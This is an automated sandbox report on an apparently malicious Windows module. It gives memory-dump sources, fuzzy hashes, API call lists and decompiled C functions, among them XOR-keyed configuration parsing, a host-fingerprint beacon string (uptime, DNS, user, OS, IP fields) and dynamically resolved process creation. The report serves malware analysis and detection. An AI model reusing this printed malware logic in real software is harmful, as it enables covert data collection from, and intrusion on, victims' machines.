Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction ID: 382b561ccf390a21704d8566b45f0a1938e68b501eea473752370fe0d8a58be8
Opcode Fuzzy Hash: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction Fuzzy Hash: 8CE0867740116877DB126B94DC00EEFBF6C8F516A2F004014FE4845200F631E51097E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0463888E, Relevance: 10.7, APIs: 7, Instructions: 237
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0463888E(int* __ecx) {
				int _v8;
				void* _v12;
				void* _v16;
				void* __esi;
				signed int _t26;
				signed int _t31;
				signed int _t37;
				char* _t43;
				char* _t44;
				char* _t45;
				char* _t46;
				char* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t61;
				signed int _t62;
				signed int _t67;
				void* _t69;
				void* _t70;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				signed int _t84;
				signed int _t88;
				signed int _t92;
				void* _t97;
				intOrPtr _t114;

				_t98 = __ecx;
				_t26 =  *0x463d2a4; // 0x63699bc3
				if(E04637145( &_v8,  &_v12, _t26 ^ 0x8241c5a7) != 0 && _v12 >= 0x90) {
					 *0x463d2d8 = _v8;
				}
				_t31 =  *0x463d2a4; // 0x63699bc3
				if(E04637145( &_v16,  &_v12, _t31 ^ 0x0b822240) == 0) {
					_v12 = 2;
					L62:
					return _v12;
				}
				_t37 =  *0x463d2a4; // 0x63699bc3
				if(E04637145( &_v12,  &_v8, _t37 ^ 0xecd84622) == 0) {
					L60:
					HeapFree( *0x463d238, 0, _v16);
					goto L62;
				} else {
					_t97 = _v12;
					if(_t97 == 0) {
						_t43 = 0;
					} else {
						_t92 =  *0x463d2a4; // 0x63699bc3
						_t43 = E04636B2E(_t98, _t97, _t92 ^ 0x724e87bc);
					}
					if(_t43 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t43, 0,  &_v8) != 0) {
							 *0x463d240 = _v8;
						}
					}
					if(_t97 == 0) {
						_t44 = 0;
					} else {
						_t88 =  *0x463d2a4; // 0x63699bc3
						_t44 = E04636B2E(_t98, _t97, _t88 ^ 0x2b40cc40);
					}
					if(_t44 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t44, 0,  &_v8) != 0) {
							 *0x463d244 = _v8;
						}
					}
					if(_t97 == 0) {
						_t45 = 0;
					} else {
						_t84 =  *0x463d2a4; // 0x63699bc3
						_t45 = E04636B2E(_t98, _t97, _t84 ^ 0x3b27c2e6);
					}
					if(_t45 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x463d248 = _v8;
						}
					}
					if(_t97 == 0) {
						_t46 = 0;
					} else {
						_t80 =  *0x463d2a4; // 0x63699bc3
						_t46 = E04636B2E(_t98, _t97, _t80 ^ 0x0602e249);
					}
					if(_t46 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x463d004 = _v8;
						}
					}
					if(_t97 == 0) {
						_t47 = 0;
					} else {
						_t76 =  *0x463d2a4; // 0x63699bc3
						_t47 = E04636B2E(_t98, _t97, _t76 ^ 0x3603764c);
					}
					if(_t47 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x463d02c = _v8;
						}
					}
					if(_t97 == 0) {
						_t48 = 0;
					} else {
						_t72 =  *0x463d2a4; // 0x63699bc3
						_t48 = E04636B2E(_t98, _t97, _t72 ^ 0x2cc1f2fd);
					}
					if(_t48 != 0) {
						_push(_t48);
						_t69 = 0x10;
						_t70 = E046356FA(_t69);
						if(_t70 != 0) {
							_push(_t70);
							E04636702();
						}
					}
					if(_t97 == 0) {
						_t49 = 0;
					} else {
						_t67 =  *0x463d2a4; // 0x63699bc3
						_t49 = E04636B2E(_t98, _t97, _t67 ^ 0xb30fc035);
					}
					if(_t49 != 0 && E046356FA(0, _t49) != 0) {
						_t114 =  *0x463d32c; // 0x51695b0
						E046323F4(_t114 + 4, _t65);
					}
					if(_t97 == 0) {
						_t50 = 0;
					} else {
						_t62 =  *0x463d2a4; // 0x63699bc3
						_t50 = E04636B2E(_t98, _t97, _t62 ^ 0x372ab5b7);
					}
					if(_t50 == 0) {
						L52:
						_t51 =  *0x463d2a8; // 0xb2a5a8
						_t20 = _t51 + 0x463e252; // 0x616d692f
						 *0x463d2d4 = _t20;
						goto L53;
					} else {
						_t61 = E046356FA(0, _t50);
						 *0x463d2d4 = _t61;
						if(_t61 != 0) {
							L53:
							if(_t97 == 0) {
								_t53 = 0;
							} else {
								_t58 =  *0x463d2a4; // 0x63699bc3
								_t53 = E04636B2E(_t98, _t97, _t58 ^ 0xd8dc5cde);
							}
							if(_t53 == 0) {
								_t54 =  *0x463d2a8; // 0xb2a5a8
								_t21 = _t54 + 0x463e791; // 0x6976612e
								_t55 = _t21;
							} else {
								_t55 = E046356FA(0, _t53);
							}
							 *0x463d340 = _t55;
							HeapFree( *0x463d238, 0, _t97);
							_v12 = 0;
							goto L60;
						}
						goto L52;
					}
				}
			}

0x0463888e
0x04638891
0x046388b1
0x046388bf
0x046388bf
0x046388c4
0x046388de
0x04638b0d
0x04638b14
0x04638b1b
0x04638b1b
0x046388e4
0x04638900
0x04638afb
0x04638b05
0x00000000
0x04638906
0x04638906
0x0463890b
0x04638921
0x0463890d
0x0463890d
0x0463891a
0x0463891a
0x0463892b
0x0463892d
0x04638937
0x0463893c
0x0463893c
0x04638937
0x04638943
0x04638959
0x04638945
0x04638945
0x04638952
0x04638952
0x0463895d
0x0463895f
0x04638969
0x0463896e
0x0463896e
0x04638969
0x04638975
0x0463898b
0x04638977
0x04638977
0x04638984
0x04638984
0x0463898f
0x04638991
0x0463899b
0x046389a0
0x046389a0
0x0463899b
0x046389a7
0x046389bd
0x046389a9
0x046389a9
0x046389b6
0x046389b6
0x046389c1
0x046389c3
0x046389cd
0x046389d2
0x046389d2
0x046389cd
0x046389d9
0x046389ef
0x046389db
0x046389db
0x046389e8
0x046389e8
0x046389f3
0x046389f5
0x046389ff
0x04638a04
0x04638a04
0x046389ff
0x04638a0b
0x04638a21
0x04638a0d
0x04638a0d
0x04638a1a
0x04638a1a
0x04638a25
0x04638a27
0x04638a2a
0x04638a2b
0x04638a32
0x04638a34
0x04638a35
0x04638a35
0x04638a32
0x04638a3c
0x04638a52
0x04638a3e
0x04638a3e
0x04638a4b
0x04638a4b
0x04638a56
0x04638a64
0x04638a6e
0x04638a6e
0x04638a75
0x04638a8b
0x04638a77
0x04638a77
0x04638a84
0x04638a84
0x04638a8f
0x04638aa2
0x04638aa2
0x04638aa7
0x04638aad
0x00000000
0x04638a91
0x04638a94
0x04638a99
0x04638aa0
0x04638ab2
0x04638ab4
0x04638aca
0x04638ab6
0x04638ab6
0x04638ac3
0x04638ac3
0x04638ace
0x04638ada
0x04638adf
0x04638adf
0x04638ad0
0x04638ad3
0x04638ad3
0x04638aed
0x04638af2
0x04638af8
0x00000000
0x04638af8
0x00000000
0x04638aa0
0x04638a8f

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008), ref: 04638933
StrToIntExA.SHLWAPI(00000000,00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008), ref: 04638965
StrToIntExA.SHLWAPI(00000000,00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008), ref: 04638997
StrToIntExA.SHLWAPI(00000000,00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008), ref: 046389C9
StrToIntExA.SHLWAPI(00000000,00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008), ref: 046389FB
HeapFree.KERNEL32(00000000,04635D25,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008,?,04635D25), ref: 04638AF2
HeapFree.KERNEL32(00000000,?,04635D25,?,63699BC3,?,04635D25,63699BC3,?,04635D25,63699BC3,00000005,0463D00C,00000008,?,04635D25), ref: 04638B05

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b14601ca26e4ee99b8f16806b5a055aba639e1455f83f38be6b5a5b24f3e787b
Instruction ID: dc62e13dbf0c9b7a230a8f680439bc7d5719767bf4c48877e0f8b357af4f2ddd
Opcode Fuzzy Hash: b14601ca26e4ee99b8f16806b5a055aba639e1455f83f38be6b5a5b24f3e787b
Instruction Fuzzy Hash: C0719E71A001C5AFE710FBB9DD8499BB7EDEF98346B281915B502D7204FA39FD428B24

Uniqueness

Uniqueness Score: -1.00%

Function 04631F13, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E04631F13(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x463d018; // 0xb20846e7
				asm("bswap eax");
				_t27 =  *0x463d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x463d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x463d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0x463d2a8; // 0xb2a5a8
				_t3 = _t30 + 0x463e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d15e, _t29, _t28, _t27, _t26,  *0x463d02c,  *0x463d004, _t25);
				_t33 = E046356CD();
				_t34 =  *0x463d2a8; // 0xb2a5a8
				_t4 = _t34 + 0x463e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E046358DB(_t91);
				if(_t96 != 0) {
					_t83 =  *0x463d2a8; // 0xb2a5a8
					_t6 = _t83 + 0x463e8d4; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x463d238, 0, _t96);
				}
				_t97 = E0463A199();
				if(_t97 != 0) {
					_t78 =  *0x463d2a8; // 0xb2a5a8
					_t8 = _t78 + 0x463e8dc; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x463d238, 0, _t97);
				}
				_t98 =  *0x463d32c; // 0x51695b0
				_a32 = E04634622(0x463d00a, _t98 + 4);
				_t42 =  *0x463d2d0; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x463d2a8; // 0xb2a5a8
					_t11 = _t74 + 0x463e8b6; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x463d2cc; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x463d2a8; // 0xb2a5a8
					_t13 = _t71 + 0x463e88d; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x463d238, 0, 0x800);
					if(_t100 != 0) {
						E0463518F(GetTickCount());
						_t50 =  *0x463d32c; // 0x51695b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x463d32c; // 0x51695b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x463d32c; // 0x51695b0
						_t103 = E04631BB6(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x463c28c);
							_push(_t103);
							_t62 = E0463361A();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E04636777(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E04636761();
								}
								HeapFree( *0x463d238, 0, _v44);
							}
							HeapFree( *0x463d238, 0, _t103);
						}
						HeapFree( *0x463d238, 0, _t100);
					}
					HeapFree( *0x463d238, 0, _a24);
				}
				HeapFree( *0x463d238, 0, _t105);
				return _a12;
			}

0x04631f13
0x04631f13
0x04631f13
0x04631f18
0x04631f1e
0x04631f28
0x04631f2a
0x04631f2a
0x04631f37
0x04631f42
0x04631f45
0x04631f50
0x04631f53
0x04631f58
0x04631f5b
0x04631f60
0x04631f63
0x04631f6f
0x04631f7c
0x04631f7e
0x04631f84
0x04631f89
0x04631f94
0x04631f96
0x04631f99
0x04631fa0
0x04631fa4
0x04631fa6
0x04631fab
0x04631fb7
0x04631fb9
0x04631fc5
0x04631fc7
0x04631fc7
0x04631fd2
0x04631fd6
0x04631fd8
0x04631fdd
0x04631fe9
0x04631feb
0x04631ff7
0x04631ff9
0x04631ff9
0x04631fff
0x04632012
0x04632016
0x0463201d
0x04632020
0x04632025
0x04632030
0x04632032
0x04632035
0x04632035
0x04632037
0x0463203e
0x04632041
0x04632046
0x04632050
0x04632052
0x0463205a
0x04632073
0x04632077
0x04632083
0x04632088
0x04632091
0x046320a2
0x046320a6
0x046320af
0x046320b5
0x046320c2
0x046320cf
0x046320d5
0x046320e1
0x046320e7
0x046320e8
0x046320ed
0x046320f3
0x046320f9
0x04632100
0x04632107
0x0463210d
0x04632114
0x04632118
0x04632123
0x04632128
0x0463212e
0x04632137
0x04632137
0x04632148
0x04632148
0x04632157
0x04632157
0x04632166
0x04632166
0x04632178
0x04632178
0x04632187
0x04632198

APIs

GetTickCount.KERNEL32 ref: 04631F2A
wsprintfA.USER32 ref: 04631F77
wsprintfA.USER32 ref: 04631F94
wsprintfA.USER32 ref: 04631FB7
HeapFree.KERNEL32(00000000,00000000), ref: 04631FC7
wsprintfA.USER32 ref: 04631FE9
HeapFree.KERNEL32(00000000,00000000), ref: 04631FF9
wsprintfA.USER32 ref: 04632030
wsprintfA.USER32 ref: 04632050
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0463206D
GetTickCount.KERNEL32 ref: 0463207D
RtlEnterCriticalSection.NTDLL(05169570), ref: 04632091
RtlLeaveCriticalSection.NTDLL(05169570), ref: 046320AF

Part of subcall function 04631BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,046320C2,?,051695B0), ref: 04631BE1
Part of subcall function 04631BB6: lstrlen.KERNEL32(?,?,?,046320C2,?,051695B0), ref: 04631BE9
Part of subcall function 04631BB6: strcpy.NTDLL ref: 04631C00
Part of subcall function 04631BB6: lstrcat.KERNEL32(00000000,?), ref: 04631C0B
Part of subcall function 04631BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,046320C2,?,051695B0), ref: 04631C28

StrTrimA.SHLWAPI(00000000,0463C28C,?,051695B0), ref: 046320E1

Part of subcall function 0463361A: lstrlen.KERNEL32(05169A78,00000000,00000000,74ECC740,046320ED,00000000), ref: 0463362A
Part of subcall function 0463361A: lstrlen.KERNEL32(?), ref: 04633632
Part of subcall function 0463361A: lstrcpy.KERNEL32(00000000,05169A78), ref: 04633646
Part of subcall function 0463361A: lstrcat.KERNEL32(00000000,?), ref: 04633651

lstrcpy.KERNEL32(00000000,?), ref: 04632100
lstrcpy.KERNEL32(00000000,00000000), ref: 04632107
lstrcat.KERNEL32(00000000,?), ref: 04632114
lstrcat.KERNEL32(00000000,00000000), ref: 04632118

Part of subcall function 04636777: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 04636829

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04632148
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04632157
HeapFree.KERNEL32(00000000,00000000,?,051695B0), ref: 04632166
HeapFree.KERNEL32(00000000,00000000), ref: 04632178
HeapFree.KERNEL32(00000000,?), ref: 04632187

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 5e51d80d60ac9d4db0a62db1337503410da1ba0a8b9391be3d8509a13078c605
Instruction ID: 55e5909741bfa70ce822338a0a20123ccbe046a5d120d8f0f95475f0fcbc6c56
Opcode Fuzzy Hash: 5e51d80d60ac9d4db0a62db1337503410da1ba0a8b9391be3d8509a13078c605
Instruction Fuzzy Hash: BB619D325002C4AFE721EBA8EC88E5677E9EB4974AF041514FA05D7260FB3EEC05DB65

Uniqueness

Uniqueness Score: -1.00%

Function 04636C38, Relevance: 16.6, APIs: 11, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E04636C38(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				WCHAR* _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				WCHAR* _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				WCHAR* _t91;

				_t79 =  *0x463d33c; // 0x5169798
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E0463A557(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x463c18c;
				}
				_t46 = E046318A5(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E0463A71F(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x463d2a8; // 0xb2a5a8
						_t16 = _t75 + 0x463eb08; // 0x530025
						wsprintfW(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E0463A557(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x463c190;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E0463A71F(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E0463A734(_v20);
						} else {
							_t66 =  *0x463d2a8; // 0xb2a5a8
							_t31 = _t66 + 0x463ec28; // 0x73006d
							wsprintfW(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E0463A734(_v12);
				}
				return _v24;
			}

0x04636c40
0x04636c46
0x04636c4d
0x04636c53
0x04636c57
0x04636c5b
0x04636c5e
0x04636c63
0x04636c68
0x04636c6a
0x04636c6a
0x04636c73
0x04636c78
0x04636c7d
0x04636c83
0x04636c8d
0x04636c96
0x04636c9d
0x04636cb6
0x04636cbb
0x04636cc0
0x04636cc9
0x04636cd2
0x04636ce3
0x04636cec
0x04636cf0
0x04636cf4
0x04636cf9
0x04636cfe
0x04636d00
0x04636d00
0x04636d0a
0x04636d13
0x04636d1a
0x04636d32
0x04636d36
0x04636d73
0x04636d38
0x04636d3b
0x04636d43
0x04636d54
0x04636d60
0x04636d68
0x04636d6c
0x04636d6c
0x04636d36
0x04636d7b
0x04636d80
0x04636d87

APIs

GetTickCount.KERNEL32 ref: 04636C4D
lstrlen.KERNEL32(?,80000002,00000005), ref: 04636C8D
lstrlen.KERNEL32(00000000), ref: 04636C96
lstrlen.KERNEL32(00000000), ref: 04636C9D
lstrlenW.KERNEL32(80000002), ref: 04636CAA
wsprintfW.USER32 ref: 04636CE3
lstrlen.KERNEL32(?,00000004), ref: 04636D0A
lstrlen.KERNEL32(?), ref: 04636D13
lstrlen.KERNEL32(?), ref: 04636D1A
lstrlenW.KERNEL32(?), ref: 04636D21
wsprintfW.USER32 ref: 04636D54

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$wsprintf$CountFreeHeapTick
String ID:
API String ID: 822878831-0
Opcode ID: 29ca1d05a3f4c97ac886cd0c985c795a8be51bf59655852e3d2b8d710b981480
Instruction ID: 8ab49f43d24413f3b6438da92f440c81240366679a456331fe589896b407a2a9
Opcode Fuzzy Hash: 29ca1d05a3f4c97ac886cd0c985c795a8be51bf59655852e3d2b8d710b981480
Instruction Fuzzy Hash: E9415B76900289FBDF11AFA4CC489DE7BB5EF44319F054055E904A7210EB35EE50EB94

Uniqueness

Uniqueness Score: -1.00%

Function 04638EA1, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E04638EA1(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0463592D(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0463A749( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x463d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x463d2a8; // 0xb2a5a8
					_t18 = _t47 + 0x463e3e6; // 0x73797325
					_t68 = E04633C48(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x463d2a8; // 0xb2a5a8
						_t19 = _t50 + 0x463e747; // 0x5168cef
						_t20 = _t50 + 0x463e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E0463A62D();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E0463A62D();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x463d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E0463A734(_t70);
				goto L12;
			}

0x04638ea9
0x04638ea9
0x04638eb8
0x04638ebf
0x04638ec4
0x04638fd1
0x04638fd8
0x04638fd8
0x04638ed3
0x04638edb
0x04638ede
0x04638ee3
0x04638ef8
0x04638efe
0x04638eff
0x04638f02
0x04638f08
0x04638f0b
0x04638f10
0x04638f18
0x04638f24
0x04638f28
0x04638fb8
0x04638f2e
0x04638f2e
0x04638f33
0x04638f3a
0x04638f4e
0x04638f52
0x04638fa1
0x04638f54
0x04638f55
0x04638f5c
0x04638f75
0x04638f77
0x04638f7b
0x04638f82
0x04638f9c
0x04638f84
0x04638f8d
0x04638f92
0x04638f92
0x04638f82
0x04638fb0
0x04638fb0
0x04638f28
0x04638fbf
0x04638fc8
0x04638fcc
0x00000000

APIs

Part of subcall function 0463592D: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04638EBD,?,00000001,?,?,00000000,00000000), ref: 04635952
Part of subcall function 0463592D: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04635974
Part of subcall function 0463592D: GetProcAddress.KERNEL32(00000000,614D775A), ref: 0463598A
Part of subcall function 0463592D: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 046359A0
Part of subcall function 0463592D: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 046359B6
Part of subcall function 0463592D: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 046359CC

memset.NTDLL ref: 04638F0B

Part of subcall function 04633C48: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04638F24,73797325), ref: 04633C59
Part of subcall function 04633C48: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04633C73

GetModuleHandleA.KERNEL32(4E52454B,05168CEF,73797325), ref: 04638F41
GetProcAddress.KERNEL32(00000000), ref: 04638F48
HeapFree.KERNEL32(00000000,00000000), ref: 04638FB0

Part of subcall function 0463A62D: GetProcAddress.KERNEL32(36776F57,0463A2D4), ref: 0463A648

CloseHandle.KERNEL32(00000000,00000001), ref: 04638F8D
CloseHandle.KERNEL32(?), ref: 04638F92
GetLastError.KERNEL32(00000001), ref: 04638F96

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: a42151b9ecac807105a3e866c105cd7ab0ca8a1f8ddf72975c4671669bc6a26a
Instruction ID: 791866ec150442323928112cf449c50c39e7c127f8dd49225607a29a3d505884
Opcode Fuzzy Hash: a42151b9ecac807105a3e866c105cd7ab0ca8a1f8ddf72975c4671669bc6a26a
